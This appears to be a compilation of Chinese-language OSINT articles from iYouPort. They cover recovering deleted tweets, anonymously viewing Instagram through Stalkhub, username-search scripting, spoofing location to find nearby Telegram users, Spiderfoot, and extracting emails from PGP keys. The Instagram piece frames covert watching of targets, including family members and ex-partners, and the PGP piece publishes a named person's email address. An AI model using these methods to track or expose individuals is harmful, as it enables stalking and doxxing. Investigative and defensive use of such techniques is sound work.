单击一个快照将其打开。这不仅仅是一个截图；整个网页将以其过去的状态加载。您可以正常与页面交互，并截取您想要的任何推文。

4、搜索推特档案

「图」

以上探讨的是搜索别人的被删除的推文的方法。但是，如果您正在寻找一种方法来查看您自己被删除的推文呢？

这一次您不需要找得太辛苦了。推特本身保存着所有已经发布过的推文的档案，甚至包括被删除的推文。通常情况下，它不允许任何人访问这些数据，但任何用户都可以通过自己的Twitter历史进行搜索。

要下载您的 Twitter 档案，打开 Twitter 主页，点击更多。在出现的菜单中选择设置和隐私。

这将打开您的帐户设置。单击右侧窗格中的下载数据存档选项。

您将被要求通过发送到您的电子邮件 ID 的代码来验证您的身份。完成后，您将看到请求存档按钮。

Twitter 可能需要一整天的时间才能将存档通过电子邮件发送给您。解压缩 zip 文件并打开它后，将在您的 Web 浏览器中打开一个普通的 Twitter 窗口。唯一添加的是一个搜索框，可让您按日期查找过去的推文。

最后

「图」

Twitter 并没有让任何人都能很容易地搜索到被删除的推文。虽然推特存档可以帮助您访问您自己的推文历史，但找到别人被删除的推文要困难得多。

如果这些推文属于知名人士，那么很有可能该推文被其他人在 Twitter 上截图并分享了。谷歌是在这种情况下的最容易使用的工具。

如果这也不能给您带来任何结果，事情就会变得有点棘手。对于最近的推文，您应该在目标推特ID的缓存版本中寻找，因为谷歌经常将一个旧页面保存数天。如果您要找的推文的时间较长，则可以在 Wayback Machine 上搜索。〇

原文

如何无需帐户即可匿名查看Instagram帖子 - iyouport

开源情报-每个人都可用的武器

【2020年10月15日存档】避免被目标人发现的小技巧

Instagram 可以让您在目标人不知道的情况下悄悄查看其公开发布的帖子，除非您手滑不小心点了赞。

除此之外，如果您能小心一点，就可以在没有任何人注意的情况下匿名浏览目标的账户 —— 只有 Instagram Stories 无法做到做到这一点。

这是开源情报调查人员值得拥有的技巧 – 准确说是社交媒体情报，您肯定不希望目标察觉到您在观察他。（当然，不论您调查什么都是如此，比如家庭成员、前恋人、竞争对手 ……）

发布帖子的任何人都将获得一个查看者列表，他们可以在其中看到所有查看过他们发布的内容的人，无论那些人是否是 “朋友”。

当然您始终可以使用 Finsta，但是首先需要创建一个 Finsta。另外，其他人可能已经将您的假帐户关联到了您的真实身份，因此这不是一个可行的选择。

在目标人不知道的情况下查看 Instagram 故事、帖子和帐户的最佳方法是完全不使用帐户。您可以通过 Stalkhub Instagram Viewer 轻松找到 Instagram 目标帐户并匿名观察他们，网页可用，iOS 或 Android 设备均可。

操作方法

「图」

使用您选择的任何Web浏览器访问 stalkhub.com。

在搜索栏下方您会看到各种类别，可用于浏览流行的标签。如果您要查找更具体的内容，请在搜索字段中输入用户名、主题标签或位置，然后按 “搜索”。

之后，您将在搜索栏下方看到 “用户”、“标签”和“位置”。点击您想要的一个，向下滚动以查找结果。

它是带广告的，您可以使用广告拦截程序。

您还可以搜索全名以找到目标人，但是如果他们的个人资料中没有姓名该功能将不起作用。如果要查找特定帐户，最好使用用户名。

搜索特定用户时，只要该帐户是公开帐户，您就可以查看其个人资料。在顶部，您可以查看个人资料照片、姓名、用户名、简介以及他们发布的帖子数量。它还显示该帐户有多少关注者，以及他们关注的用户，但是您无法浏览这些用户。

目标人发布了任何新帖子，它们都会显示在页面中间的位置。您可以使用箭头按钮滚动浏览。

您还可以根据需要查看任何发布的照片或视频。在屏幕上向左或向右滑动即可全屏浏览。

Stalkhub 提供的最佳功能之一是能够将任何故事下载到您的设备上。只需点击右上角的蓝色 “下载” 按钮。

在iOS上，点击弹出窗口上的 “下载”，它将被保存在 Safari下载的默认文件夹中的 “文件” 应用中。在 Android 上，它应自动下载到您的“下载”文件夹，可通过任何文件管理器进行访问。

要查看常规帖子，请向下滚动页面。在这里，您可以点击照片以查看它，而不必担心意外手滑按了赞。

您还可以看到被点赞的次数、查看发布日期以及任何评论。如果您要将图像或视频下载到设备上，还有一个蓝色的下载按钮。

Stalkhub 只是匿名查看 Instagram 的众多网站之一。其他的还包括 Story Insta, Instagram Story Viewer, 和 instastories 仅举几例。它们的工作原理几乎相同，您可以随意选择。〇

Anonymously View Instagram Stories & Posts Without an Account

原文

如何构建自定义的用户名侦查工具：开源调查技术 - iYouPort

开源情报-每个人都可用的武器

本文将向您展示如何构建自己的自定义开源情报用户名搜索工具。

「图」

「图」

用户名是任何网络调查的主要利用点之一。

许多网站都使用用户名来识别个人帐户，并且，⚠用户经常在其拥有帐户的许多网站和应用程序中保持相同的或相似的用户名。

这使得跨平台追踪目标人变得非常容易。

- 《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》
- 《如何跨社交媒体平台追踪目标人？⚠ 警告安全意识》
- 防御《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

不足为奇的是，许多开源情报网站提供了跨多个平台进行用户名搜索的方法；但是，开发这样的站点的主要问题是，它不可能收集所有当前活动平台的列表。也就是难以全网覆盖。

此外，某些网站可能会更改其URL结构或显示个人资料的方式。这就会“破坏”用户名搜索工具，并且通常需要用户等待程序员来修复被破坏的查询。

有些时候用户可能还希望运行一个自定义的网站列表，对于这些网站当前没有现成的用户名搜索工具可以支持它们，或者只想运行少数几个利基网站来进行更有针对性的追踪调查。

所有这些原因就是为什么 sinwindie 构建了 SULTAN，这是一个简单的（纯正的）Python 脚本，用于在用户指定的或通过众包的可扩展网站列表上运行用户名搜索。

SULTAN 旨在使最终用户能够仅针对他们想要的平台来创建自己的自定义用户名搜索工具，而不必等待站点或平台的所有者进行更新。

它的思考方式可以给未来的开发者一些提示，以便更加完善。

「图」

「图」

sinwindie

识别网站

目前并非所有网站都能与 SULTAN 一起使用。

在网址中包含用户名的网站是开源情报调查最容易定位的网站（例如这样：https：*www.reddit.com/user/USERNAME/*），因为可以使用脚本轻松地将 *USERNAME* 换成您当前正在搜索的任何用户名。 另外有些网站在 *USERNAME* 部分添加了不包含用户名的用户*ID*或其他数字标识符，这就很难办了。在这些情况下 *SULTAN* 难以运行查询，因为无法预测数字*ID*。 一个不起作用的网站的示例是 *Meetup*，它使用用户*ID*代替用户名 *(*例如这样 *https://www.meetup.com/NAMEOFMEETUPGROUP/members/11401753/profile/)*「图」「图」 *sinwindie* 设置电子表格 要为需要调查的网站组织 *Python* 脚本，您需要首先记下每个目标网站的四个主要变量。 对于您要在其上搜索用户名的每个网站，请将以下内容记入一个电子表格中（或使用在下文中 *Github* 页面提供的电子表格）： ***UrlA***：这是*URL*的第一部分，将包括直到用户名之前的所有内容（不包括用户名本身）。请注意不要忘记斜杠或任何前导符号。 ***UrlB***：这是*URL*的第二部分，将包括用户名之后的所有内容，也不包括用户名本身。 *Tumblr* 是使用以下格式的平台之一：用户名位于*URL*的其余部分之前而不是其后。 ***Error***：这是导航到不存在的个人资料（用户名）时在网站上显示的一小段文字。有些通常使用*“ 404”*，有些则重定向到主页，有些则具有自己独特的有时是有趣的文本。这是运行 *Python* 脚本时要检查的变量。 不要依赖浏览器中显示的内容。使用一个小的请求脚本来返回 *HTML*，因此可以对其进行搜索。 ***Known Working***：这是您跟踪已知有效用户名的位置，以便以后可以运行验证测试。 如果您搜索此用户

名，但 *SULTAN* 无法在平台上找到此处列出的帐户，则需要返回并查找其他唯一错误文本，然后重试，或者查看是否有其他问题导致脚本无法提取已知有效的帐户。 一些站点无法正常工作，因为它们会动态加载 *error text*，而某些站点会在不同情况下使用多种版本的 *error text*，导致无法仅选择其中一个。 「图」「图」 *sinwindie* 检查 ***Python*** 代码 这里不会做更多深入解释，但似乎有必要向那些想进一步了解其工作原理但没有背景知识的读者解释一下该工具所使用的编码逻辑，这一点很重要。 首先，需要导入必要的模块以使代码正常运行（*requests* 和 *xlrd*）。如果您不定期在计算机上使用 *Python*，则可能需要在首次运行 *SULTAN* 之前安装 *requests* 和 *xlrd*。 接下来将提示用户输入用户名，并将该输入保存为变量。 使用 *xlrd*，将读取 *Excel* 文件的列，然后将我们在上面的电子表格中设置的变量分配给以后可以从中提取的数组。 这些部分中的每一个都将进入各自的数组，因此请确保所有数组中的项目数量相同，否则稍后将出现错误。 接下来将建立一个循环以获取用户名，并将其放在*URL*数组的两个部分（*URL A* 和 *UR LB*）之间。*URL A* ＋用户名＋ *URL B* 将是您的变量。 连接到网站后，它将获取 *HTML* 并进行解析，以查找目标个人资料不存在时应显示的错误文本。 如果找到错误文本，则该帐户不应该存在，并且将继续到下一个*URL*。否则，如果 *HTML* 缺少错误文本，则该帐户应该存在，并且它将在转到下一个平台之前将完整的*URL*输出给用户。 结论 *SULTAN* 仍在进行中，还远远不够完善。因为某些网站确实会阻止搜索。 话虽这么说，所提供的逻辑和代码应该足以使您在一些主要站点上正常运行。您可以下载代码和示例 *Excel* 文件（开箱即用，可搜索约*100*个平台）。 *Github*：*https://github.com/sinwindie/OSINT/tree/master/SULTAN* ○ 广告 原文

如何欺骗地理位置以使用 Telegram 的新功能查找任何感兴趣的人 - iyouport

开源情报-每个人都可用的武器

【2020年9月4日存档】不要使用您自己的手机做这件事

去年6月，Telegram 在其网站上宣布，他们已简化了“ 交换联系信息 ”的过程。自从此更新以来，作为开源情报调查人员，您应该有可能根据其位置在 Telegram 上搜索群组和用户。

这意味着，如果您自己“在”一个位置，就会能在搜索结果中找到同一位置的用户和群组的建议。

您可以简单地检查哪个用户和群组在哪个区域中处于活动状态。

您不需要坐着飞机到处跑才能实现这点 —— 您可以通过手动欺骗位置来解决这个问题。也就是手动设置。

aware-online 介绍了如何做到这一点。《Telegram groepen zoeken op basis van locatie》

您需要什么

非常简单，就是：一个虚假手机、Telegram 的移动应用程序、和 Telegram 上的帐户。

下面的演示将使用“*Android emulato*r”，这是一种虚拟电话，其功能与普通电话相同。

您也可以使用 NoxPlayer，Bluestacks 或 Genymotion。 选择哪种取决于自己的喜好。 例如，您可以在虚拟机 Virtual Box中创建 Genymotion。或者您也许发现 NoxPlayer 更好或更快。 当然，您也可以使用预付费电话。

开始 **Telegram**

首先您需要下载 Telegram 移动应用程序。

您可以通过 Android Play 模拟器（带有假的 Gmail 帐户）和 Google Playstore 来执行此操作，这取决于您所使用的设备。

在此示例中将继续使用 Android Emulator NoxPlayer，因此，如果您使用其他设备，则步骤可能会略有不同。

步骤1：打开虚拟设备

步骤2：打开Google Playstore

步骤3：下载 Telegram。如果一切正常，您的虚拟手机环境将如下图所示。

步骤4：点击左侧的三个点，然后选择“ V-loc”；

步骤5：选择一个虚拟位置。本示例选择了荷兰的“鹿特丹”位置。单击右下角的“*Move here*”以保存位置。

注意：这不适用于所有“普通”手机。如果您不使用 Android 模拟器而是使用其他闲置的普通手机，则可以下载移动应用程序来欺骗位置。请注意在下载过程中需要小心避免遇到恶意软件。

步骤6：打开 Telegram

步骤7：点击左侧的三个条纹，然后选择“联系人”；

步骤8：点击“添加在附近的人”，然后根据您的位置查看群组结果。

就是这样！您可以变换任何您想要的位置。在整个过程中不要使用您的真实手机。〇

Telegram groepen zoeken op basis van locatie

原文

如何理解噪音：让开源威胁情报更简单 - iYouPort

开源情报-每个人都可用的武器

许多分析师抱怨开源威胁情报可能会引来嘈杂的消息从而分散注意力。在许多情况下，他们是对的。但是解决这些问题并不那么难。这里有三种方法可以克服这些挑战，从 #OSINT 中获取真正的价值。

「图」

「图」

许多分析师抱怨开源威胁情报可能会引来嘈杂的消息从而分散注意力。在许多情况下，他们是对的。比如不同 Feed 的内容重叠（在某些情况下完全是抄袭）、大量的低价值情报、以及更多的误报（因为数据质量检测经常不存在）。

但是解决这些问题并不那么难。这里有三种方法可以克服这些挑战，从 OSINT 中获取真正的价值：

1、处理重叠的信息

「图」

「图」

在将 Feed 插入安全工具之前，了解 Feed 之间的相似程度是个好主意。您可以使用各种工具分析 Feed 提供者之间指标的重叠。例如，MISP 提供的重叠矩阵。

同样，ThreatPipes Feed 重叠矩阵也可用于支持分析师并帮助他们更好地理解其 Feed 集提供的不同覆盖水平。

2、如何应对低价值情报

「图」

「图」

在订阅 Feed 之前，了解 Feed 提供商如何生成 Feed 非常棒。很多 OSINT Feed 都是从蜜罐中自动录入的。通用蜜罐可能是出了名的嘈杂，通常产生大量良性扫描IP条目。

即使您了解了 Feed 创建的逻辑，使用其他元数据丰富指标也同样是好主意。

添加其他上下文，例如查找以发现是否有任何已知TTP与指标相关联，可以立即识别是否存在高风险。ThreatPipes Processor Nodes 可以支持开箱即用的各种丰富功能。

3、减少误报

「图」

「图」

从来没有哪个分析师不会随时处理一些安全事件。嘈杂的安全产品可能会分散注意力，并且在某些情况下真正的威胁就埋在一长串误报中。

您应该在任何 OSINT 到达下游工具之前对其进行过滤，特别是如果它可能影响关键任务资产的话。

通常应该将不同的情报来源递送到不同的下游源。例如，SIEM 或事件响应工具比端点更适合OSINT，因为它们可以在执行情报之前充当中间人。

使用 ThreatPipes 的丰富功能进行过滤是个好办法。

其他改进 **OSINT** 工作流程的工具

这里介绍的只是一些基本策略。 还有很多领先的安全从业者提出过很好的建议。

在这里视频：

首先阅读 Threat Intelligence Quotient Test，这是 MLSec 项目构建的工具。上面的视频是在BlackHat 2015 录制的，如今依然非常有用。

还有一个视频：

该视频显示了使用 ThreatPipes 从 OSINT feeds 聚合情报是多么容易。ThreatPipes 随附了一些互联网上最受欢迎的OSINT feeds，包括 blocklist.de 和 abuse.ch 提供的那些。

OSINT: How to Make Sense of the Noise. Strategies you can put in place to make OSINT an effective tool to defend your assets from cyber threats.

原文

如何自动执行情报搜集？蜘蛛脚入门指南 - iYouPort

开源情报-每个人都可用的武器

依旧是开源情报工具。今天介绍的工具是近半年来在社区很流行的 一个 ，由于其功能强大而闻名。零基础版指南。

「图」

「图」

Spiderfoot 是诸多强大的工具之一；它可以自动执行大量查询，这些搜集工作如果你手动做的话肯定会花掉很长的时间才能完成。

我们曾经简要介绍过它，见《新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪》。

它带有广泛的模块，可以自动搜索电子邮件地址、IP地址、域、电话号码、用户名，和其他各种类型的数据。

这篇文章将向您展示如何从头开始安装和设置 **Spiderfoot**，以及如何进行一些基本的查询演示。

Spiderfoot 在浏览器中运行，但首先需要进行一些命令行设置。

本指南是零基础版，我们将假设您毫无经验，所以它可以适合任何人。

如果您想了解更多有关在命令行中设置基于 Python 的开源情报调查工具的信息，欢迎阅读/回顾以下内容：

- 《如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具》
- 《构建你的自定义OSINT机器（第一部分）》
- 《第二部分》

- 《第三部分》
- 《第四部分》
- 《第五部分》

蜘蛛脚现在更新到3.0了，增加了 IPv6地址、电话号码、电子邮件地址、用户名、实名、社交网络挖掘。

马上开始。

配置

Spiderfoot 可在 Linux、Mac OS 和 Windows 上运行。它使用 Python 2.7（已在 Linux 和 Mac OS 中预装），但是要在 Windows 中进行设置，您需要首先做一些其他事。

Windows

Spiderfoot 2.12 版是预编译的exe文件，您可以在此处下载并单击以运行。

如果您在 Windows 环境中工作，这是启动 Spiderfoot 的一种简便方法，但是请注意，更高版本的 Spiderfoot 将无法通过这种方式工作，因此您必须安装适用于Windows的Python和Pip并从 Github 存储库中保持更新。

如果您对Git、Pip和命令行不完全满意，这是在 Windows 中开始使用 Spiderfoot 的最简单方法。

MacOS and Linux

运行 Spiderfoot 并使它保持最新状态的最佳方法是使用git，并按照以下说明克隆 Spiderfoot Github 存储库。

首先，请检查您的设备上是否已安装git，因为默认情况下未在所有发行版中安装git。要检查是否存在，请在控制台中键入以下内容：

```
git --version
```

如果安装了git，您将收到一条消息，告诉您它是哪个版本。

如果系统提示您不存在git，请按照以下说明进行安装：

```
sudo apt install git
```

如果您使用的不是基于 Debian 的 Linux，则需要使用系统自带的软件包管理器，而不是 apt。

如果您使用的是 Mac OS，请先安装 brew（默认情况下未在Mac OS上安装 brew），然后在终端中输入以下内容：

```
brew install git
```

然后您就完成了。

无论您使用的是 **Linux** 还是 **Mac**，从此刻开始，其余安装说明都是相同的。

在终端中输入：

```
git clone https://github.com/smicallef/
spiderfoot.git
```

这将在您的主目录中创建一个名为“spiderfoot”的目录。在继续下一步之前，通过在控制台中输入以下内容来进行移动：

```
cd spiderfoot
```

安装 Pip Requirements

如果您以前曾尝试过从GitHub安装 Python 脚本，你会知道很容易陷入困境。通常，安装指南会告诉您输入以下内容：

```
pip install -r requirements.txt
```

该命令的作用是通读 Python 文件列表，列表在名为 requirements.txt 的文件中列出，然后尝试安装它们。

这听起来很容易，但此时人们经常会遇到麻烦，被报错，因此无法安装软件包。

最常见的原因是安装者的操作系统使用的 Python 和 Pip 版本与程序所需的版本不同。

系统的默认 Python 版本可能是 Python 3.6，因此Pip假定您要下载与

该版本 的 Python 兼容的软件包。

这可能会导致很多冲突，并使您的软件无法正常工作。某些最受欢迎的 Python OSINT 工具并非都可以在同一版本的Python上运行。

避免这种情况的方法是确保在调用Pip时使用正确版本的 Python。

对于 Spiderfoot 来说它就是 Python 2.7。如果您的系统上安装了更新版本的 Python，就可能会报错。

要检查系统使用的Python版本，请在终端中输入以下内容：

```
python --version
```

然后，控制台将告诉您系统默认使用哪个Python版本。

如果您要安装 Spiderfoot 并且 Python 版本高于2.7，则需要执行以下操作：

移至您之前创建的 spiderfoot 目录，然后输入以下内容：

```
python2.7 -m pip install -r requirements.txt
```

以这种方式输入命令可确保您启动 Python 2.7，使用 -m 为该版本的 Spiderfoot 启动适当的Pip版本。

安装完成您就可以准备就绪了。

开始使用 Spiderfoot

完成安装后，您将可以首次启动 Spiderfoot。

如果使用命令行使您感觉焦虑和恐惧，别担心，这之后一切都是GUI了 … 已经胜利在望。

Linux and MacOS

从 Spiderfoot 目录中，在终端中运行以下命令：

```
python sf.py
```

或者，如果您的系统使用 Python 3.x，请确保在启动时指定了 Python 2.7，以避免出现问题：

```
python2.7 sf.py
```

您会在终端中看到下面这样的消息：

```
Attempting to verify database and update if
necessary... Starting web server at
http://127.0.0.1:5001 ...
*******************************************************
Use SpiderFoot by starting your web browser of
choice and browse to http://127.0.0.1:5001
*******************************************************
[29/Sep/2019:09:31:26] ENGINE Listening for
SIGHUP. [29/Sep/2019:09:31:26] ENGINE Listening
for SIGTERM. [29/Sep/2019:09:31:26] ENGINE
Listening for SIGUSR1. [29/Sep/2019:09:31:26]
ENGINE Bus STARTING [29/Sep/2019:09:31:26] ENGINE
Serving on http://127.0.0.1:5001 [29/
Sep/2019:09:31:26] ENGINE Bus STARTED
```

建议为 Spiderfoot 创建一个别名，以使将来的操作更轻松。为此，请在终端中打开.bashrc文件进行编辑：

```
sudo nano .bashrc
```

滚动到文本末尾并添加以下行：

```
alias spiderfoot="cd ~/spiderfoot &amp;&amp;
python2.7 sf.py"
```

Ctrl + X和Y保存并退出。然后重新启动终端，以使更改生效。

现在要启动 Spiderfoot，只需输入：

```
spiderfoot
```

大功告成！

Windows

从 Spiderfoot 目录中启动 sf.exe。

现在打开浏览器，然后在地址栏中转到 Spiderfoot 指定的位置：

http://127.0.0.1:5001

您会注意到，Spiderfoot 仍在终端后台工作。

您需要在 Spiderfoot 运行时保持终端处于打开状态，但是您可以最小化窗口并将其保留在后台。

蜘蛛脚主页

在浏览器中，您会看到以下内容：

「图」

「图」

Spiderfoot 的界面非常简单直观。

顶部菜单使您可以选择新的扫描（如上图所示），查看以前的扫描结果或调整设置。

您会看到 Spiderfoot 提供四种不同级别的扫描，具体取决于您的用例。

「图」

「图」

“By Module” 选项卡允许您仅启用选定的特定模块进行扫描。除非您对每个模块的功能都充满信心，否则最好在默认情况下将其全部启用。

您会注意到，某些模块旁边有一个挂锁符号 —— 这表明该模块需要使用API密钥才能起作用。

需要直接从服务提供商处获取API密钥。某些服务在您注册时免费提供API密钥，但是大多数服务需要某种付款。

与 Recon-NG 和类似的扫描服务一样，通常可以从提供API密钥的付费服务中获得最佳效果，但是 **Spiderfoot** 本身就拥有如此众多的模块，而且功能如此全面，即使您无权访问许多**API**密钥，它也仍然非常有效。

要添加API密钥，只需转到“设置”页面，找到相关模块的标签，然后将您的API密钥粘贴到相关字段中：

「图」

「图」

点击“保存更改”，操作完成。

下面开始演示。

示例1—收集针对IP地址的开源情报

第一个示例将展示 Spiderfoot 如何收集有关IP地址的信息。这里选择了一个实时示例（在撰写本文时）有问题的IP地址。

IP地址 149.202.204.88 导致一台服务器出现问题，并且防火墙现在已将其永久禁止。我们可以从 Spiderfoot 中了解到什么？

「图」

「图」

这里将开始一个名为“恶意IP地址”的新扫描。目标是 Spiderfoot 将搜索的信息。如您所见，您还可以搜索域名、主机名、电子邮件地址、电话号码和人名。

对于此搜索，这里选择了“全部”，并启用了所有模块。准备开始后，点击“运行扫描”。

完成搜索所需的时间差异很大。这实际上取决于有多少有关目标的信息。

「图」

「图」

您无需等待扫描完成即可开始查看结果。

Spiderfoot 按类型对它们进行了排序，因此您可以开始了解返回的信息类型。要查看结果，请单击“Browse”选项卡：

「图」

「图」

Spiderfoot 已经找到了许多信息可供使用：Whois 结果、与IP地址关联的域、以及这里正在了解的IP地址被至少另外两个服务标记为恶意的事实。

单击“恶意IP地址”结果，它会显示以下内容：

「图」

「图」

blocklist.de 和 AbuseIPDB 都找到了该IP地址的匹配项。单击 AbuseIPDB 链接可获取更多信息：

「图」

「图」

似乎其他数百个Web服务器也受到来自同一IP地址的攻击的困扰。

知道这一点很有用 —— 可以确信防火墙规则已设置并正常工作，并且 Spiderfoot 产生的结果不是误报。

几分钟后，Spiderfoot 发现了更多信息：

「图」

「图」

与所有搜索结果一样，那里也可能存在一些误报；但在大约十五分钟内，Spiderfoot 就收集到了大量的信息，如果您手动做这件事，可能需要数小时甚至数天。

示例2—研究电子邮件地址

仅作为示例，这里将搜索亚马逊大佬 Jeff Bezos 的电子邮件地址，并查看 Spiderfoot 返回的内容。

「图」

「图」

对于此搜索，结果可能有些虚胖 —— 因为这货在互联网上太出名了。实际的开源情报调查目标可能占用的空间要小得多。

撰写此类文章的部分困难在于，如果尝试使用现实世界中的示例，很可能会使某些无辜的人感到惊讶。那么还是用 Bezos 吧。

正如您在下面看到的，Spiderfoot 可以很快找到很多信息：

「图」

「图」

Spiderfoot 返回了相关用户名、数据泄露、**PGP**密钥，甚至是页面源代码中包含目标电子邮件地址的网站。

一如既往地检查所有内容，并注意误报的可能性。

Spiderfoot 的真正优势在于，通过开源情报查询的快速自动化，它可以节省大量时间，并带回大量有用的数据，从而使您有更多时间专注于情报分析和调查报告方面。

用它定期搜索自己，可以帮助您更加有针对性地采取防御措施。

Spiderfoot 的创建者是 Steve Micallef。这是一个伟大的工程。

希望您有所收获。〇

广告

原文

如何让密钥说出秘密？将PGP用于开源情报侦察的方法 - iYouPort

开源情报-每个人都可用的武器

密钥也能作为情报资源？是的，而且是很厉害的情报资源，因为它能挖出谷歌和其他搜索引擎挖不到的东西……

「图」

「图」

PGP 密钥有多种用途，但存在的主要原因之一是允许某人验证并保护其在线身份。它们可用于对文档或软件进行数字签名、验证用户名或电子邮件地址、或对文档进行加密。

无论将它们用作什么用途，PGP密钥始终与用户名或电子邮件地址绑定，因此，无论哪里有**PGP**密钥，都可能存在对开源调查有用的信息片段。

这篇文章将展示 PGP 密钥如何在开源情报调查中用作信息源。

研究用户名和电子邮件地址是大多数开源情报工作的基本任务，但是，PGP 密钥还可以提供其他信息，从而能以大多数电子邮件和用户名调查方法普遍会遗漏的方式帮助在不同实体之间建立链接。

例如，PGP公钥经过编码，这意味着搜索引擎无法读取其内容；也就是意味着，分析PGP密钥有时可能会发现 Google 和其他搜索引擎找不到的东西。

「图」

「图」

This sample of a public PGP key shows why keyword searches will not lead to the identification of the associated username or e-mail

address.

在某些常见的暗网市场中用于验证身份的 PGP 密钥也经常在其他平台上重用，因此，最终可以链接到明网身份。

请注意：上述同时也是安全提示！

您可以在此处阅读美国和德国当局如何使用PGP密钥将两个暗网市场管理员帐户链接到真实的电子邮件地址。

以上这些只是关于其众多用途中的几个例子。

如果可以找到PGP密钥，就可以找到电子邮件地址或用户名，并且由于PGP密钥是唯一的和用于验证的，因此，无论您在何处找到密钥，都可以确信它与相同的电子邮件地址或用户名相关联。

本指南的其余部分将介绍一些常见的地方以查找PGP密钥，它们的结构、以及如何分析它们才能提取与该密钥相关的用户名或电子邮件地址。

PeeGeePee.com

首先应该清楚，使用PGP密钥的人自己很少会这样做，或者说并没有想到这样做；另一方面公钥必然是要公开列出的，以便人们可以验证其身份并允许其他人发送经过加密的电子邮件。

有许多公共PGP密钥服务器，但是 PeeGeePee.com 具有很清晰的格式，有助于解释PGP密钥结构。

请注意，PeeGeePee.com 编辑了与密钥关联的实际电子邮件地址（大多数PGP密钥服务器一开始甚至都没有显示太多信息）—— 但是，作为开源情报调查人员，这才是我们真正想要的细节。

下面将说明如何从PGP密钥中提取电子邮件地址，但是值得注意的是有关PGP密钥的一些其他信息：

「图」

「图」

每个PGP密钥都有唯一的指纹。指纹从完整密钥派生，然后可以进一步缩写为长版和短版。

这些指纹使PGP密钥更易于共享（例如，它们非常适合您的名片），但是，也使得它们更易于在互联网和其他**PGP**密钥服务器上进行搜索。

请注意，指纹通常在前面用 0x 缩短，后跟8个十六进制字符，例如 0xA1B2C3D4 等：

「图」

「图」

PGP key fingerprint abbreviated for sharing…and searching.

其他信息将确认密钥的创建时间（这对于构建开源调查报告的时间线来说很有帮助），它尚未被撤销以及到期日期是何时（尽管并非所有密钥都具有到期日期）。

还要记得，该密钥可用于加密、签名、认证和身份验证。

从**PGP**密钥中提取电子邮件地址的方法

确定了感兴趣的PGP密钥后，如果一开始没有用户名或电子邮件地址，则只需做一些工作即可提取它。

此示例将结合两个内置的 Linux 命令 curl 和 gpg 来下载和提取感兴趣的密钥。

默认情况下，Curl 内置于 Linux 和 Mac OS 中；大多数 Linux 版本中也安装了 GPG，但是您需要使用 Homebrew 在 Mac 上安装 GPG。

可能要明确一下，PGP（Pretty Good Privacy）是密钥/加密类型，GPG（Gnu Privacy Guard）是用于管理和创建 PGP 密钥的软件。很绕嘴……

对于 Windows，有 GPG4Win，它将允许您下载和导入PGP密钥，本指南中不会引用它。

以下是一个安装入门视频指南，以及这里的介绍，帮助您导入公钥以确定电子邮件地址。

本示例将使用这里从 PeeGeePee.com 完全随机选择的密钥。这是过期的钥匙，但是依旧可以用来说明其原理。

您要提取和分析的文件是包含公钥的 .asc 文件。要获得该URL请右键单击它并复制链接路径。

「图」

「图」

下面是步骤。

1、打开一个终端并输入以下命令（Ctrl ＋ Shift ＋ V将URL粘贴到终端中）。

```
$ curl https://peegeepee.com/
B3889B1D99B288587ADBC2BDCE92C995CC4803BB.asc
```

2、输出将如下所示：

「图」

「图」

这是完整的PGP公钥，其中包含我们想要的信息，但由于无法直接阅读，因此它本身并不是很有用。

这就是GPG的用武之地了。GPG是用于创建和管理PGP密钥的程序，通常用于加密电子邮件或签名软件，但是因为它可以解码原始PGP公钥块，所以当我们要查找哪个用户名或电子邮件地址链接到感兴趣的PGP密钥时，可以使用它。

要在命令行中执行此操作，可以使用（|）来获取 curl命令的输出，而不是将完整的PGP打印到终端中，您可以将 curl 命令的结果传递给 gpg，以便它为您读取密钥并告诉您相关的电子邮件地址是什么

3、命令如下：

```
$ curl https://d.peegeepee.com/
B3889B1D99B288587ADBC2BDCE92C995CC4803BB.asc | gpg
```

它给出了这样的输出：

「图」

「图」

现在，您已经得到了此人的姓名和与PGP密钥关联的完整电子邮件地址！

请注意，**Google** 找不到与此电子邮件地址匹配的内容，因为它无法轻松索引公共**PGP**服务器：

「图」

「图」

当PGP密钥与用户名而不是电子邮件地址相关联时，此命令以相同的方式返回数据，只是用用户名代替电子邮件。

现在是一个真实的例子了……

Keybase—揭露马虎的小骇客

Keybase.io 是一个非常受欢迎的公共PGP密钥服务器。它本身就几乎是一个社交媒体平台。

用户具有关注者、指向其他平台上的个人资料的链接、与特定钥匙关联的多个设备的列表、以及个人资料照片（尽管并非总是本人照片）。

「图」

「图」

如上这个例子，请注意，用户的电子邮件地址未在其个人资料中列出，因此搜索引擎无法轻松将其编入索引。

于是有必要以与上述示例类似的方式从PGP密钥下载并提取电子邮件地址。

为了展示这对开源调查的帮助，下面将演示如何帮助验证一个粗心的小骇客的身份，此人去年对 Protonmail 发起DDOS攻击时使用的绰号是 Opt1cz。

当 Protonmail 在 Reddit 上发布情况更新时，一个名为 "Opt1cz" 的用户发布了对该消息的回复，声称他和他的帮派对这场**DDOS**攻击负责：

「图」

「图」

他在 Reddit 上唯一的其他帖子是在 Reddit KeybaseProofs 论坛上发布的：

「图」

「图」

他提供了指向他的 Keybase 个人资料的链接：

「图」

「图」

如果可以知道他的电子邮件地址将很有帮助 —— 于是，可以通过如上所述结合 curl 和 gpg 的方法来获得。URL始终采用以下格式：

```
curl https://keybase.io/username/pgp_keys.asc
```

顺便说一句，这也意味着在进行用户名搜索时，您始终可以在 Keybase 上尝试目标用户名，然后尝试使用此方法来获取电子邮件地址。

要找出 Opt1cz 的电子邮件地址是什么，请使用以下命令：

```
$ curl https://keybase.io/opt1cz/pgp_keys.asc |
gpg
```

这将在终端中提供以下输出：

```
% Total % Received % Xferd Average Speed Time Time
Time Current Dload Upload Total Spent Left Speed
100 3165 100 3165 0 0 5178 0 --:--:-- --:--:--
--:--:-- 5171 pub 4096R/396BD3BB 2018-07-01 opt1cz
「opt1cz@protonmail.ch」 sub 4096R/5A61C24C
2018-07-01 [expires: 2034-06-27]
```

因此，从中您可以了解到他的电子邮件地址是什么了 —— 非常有用。

当然，由于他在 Keybase 上具有可识别的关注者，因此，也有可能找到他们的电子邮件地址和用户名，并开始对他的在线同事进行更好的了解。

如果您对PGP密钥的开源情报调查应用有任何疑问，Keybase 甚至提供了一个有用的图形来显示用户的密钥如何链接到他们的社交媒体帐户、和他们自己的硬件：

「图」

「图」

如果您怀疑某人真的会愚蠢到DDOS自己的电子邮件提供商？答案是肯定的，他确实是个愚蠢的人，现在因自己的麻烦而判入狱三年。〇

原文

